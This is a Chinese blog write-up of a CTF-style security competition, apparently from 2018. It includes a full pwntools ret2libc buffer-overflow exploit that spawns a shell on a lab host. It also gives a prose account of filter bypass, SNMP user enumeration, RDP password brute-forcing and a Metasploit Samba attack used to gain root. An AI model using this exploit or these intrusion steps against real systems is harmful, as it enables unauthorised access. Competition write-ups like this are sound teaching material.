铁人三项分区赛后总结

第一次参加这种环境下的比赛,学到了很多知识,同时也意识到了自己的不足,包括赛前准备和比赛中。这次比赛题目风格为实战类型,考察取证,内网渗透和二进制。

前期官方的群里说比赛环境是有外网的,结果到场确实有个heibeit3的ssid,问工作人员密码却答复说不提供wifi,自己手机开热点。那还打个啥,主要还是菜,无奈现场我手机信号很差,3g网络,下载工具费了很长,后面流量完全带不起来,资料什么的都没查到。

这次我主要做的是企业赛和pwn,数据赛提供了一道题的思路,比赛队友都很给力,数据赛通关,贼强~这次拿第二主要输在了内网架设代理,没能把流量转发出来,平常用都顺手的工具都没问题,比赛环境下突然全体gg,关键是平常都环境也有非常复杂的orz。

pwn

ida看了一下,流程很简单,在vulnerable_function()处有溢出,看了一下开了什么保护,可以看到开了nx,题目给了libc,所以我们可以做ret2libc拿shell。32位参数优先栈,所以我们就不需要找gadgets啦,直接布置栈区就好了。

idea

输入padding,溢出到eip处——>控制eip——>构造write来泄漏read函数的真实地址,计算出libc的基址——>计算出system地址,构造system的参数——>getshell

addr_sys+addr_ret+/bin/sh

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

from pwn import *
elf = ELF('./rop')
libc = ELF('./libc32')
bof = 0x80483f4
buffer_len = 0x88

context.log_level = 'debug'
p = remote('192.168.10.100',6666)
payload = ''
payload += 'A' * buffer_len
payload += 'AAAA'
payload += p32(elf.symbols['write'])
payload += p32(bof)
payload += p32(1)
payload += p32(elf.got['read'])
payload += p32(4)
p.send(payload)
resp = p.recvn(4)
read = u32(resp)
libc_base = read - libc.symbols['read']

payload = ''
payload += 'A' * buffer_len
payload += 'AAAA'
payload += p32(libc_base + libc.symbols['system'])
payload += 'AAAA'
payload += p32(libc_base + next(libc.search('/bin/sh')))
p.send(payload)
p.interactive()

企业赛

一个网段内有.50/.60两个地址,一个win2003,一个ubuntu。
.50是一个web应用,查看源码提示try to get Tips.php,读取时发现没回显,应该有过滤,试了一下大小写,绕过。提示snmp。于是用Snmputil打了一下,发现有libai这个用户,暴力破解3389,得到密码位admin,登陆后就是常规操作,直接搜索flag.*,发现两个txt、一个数据库文件,一个php。

.60用nmap扫了一下,开了22、23、445,有samba服务器,msf一梭子过去,直接拿到root权限,shell里执行

loacte flag

获得一个flag。

文章作者: Carl Star
文章链接: http://carlstar.club/2018/03/04/铁三赛后总结/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo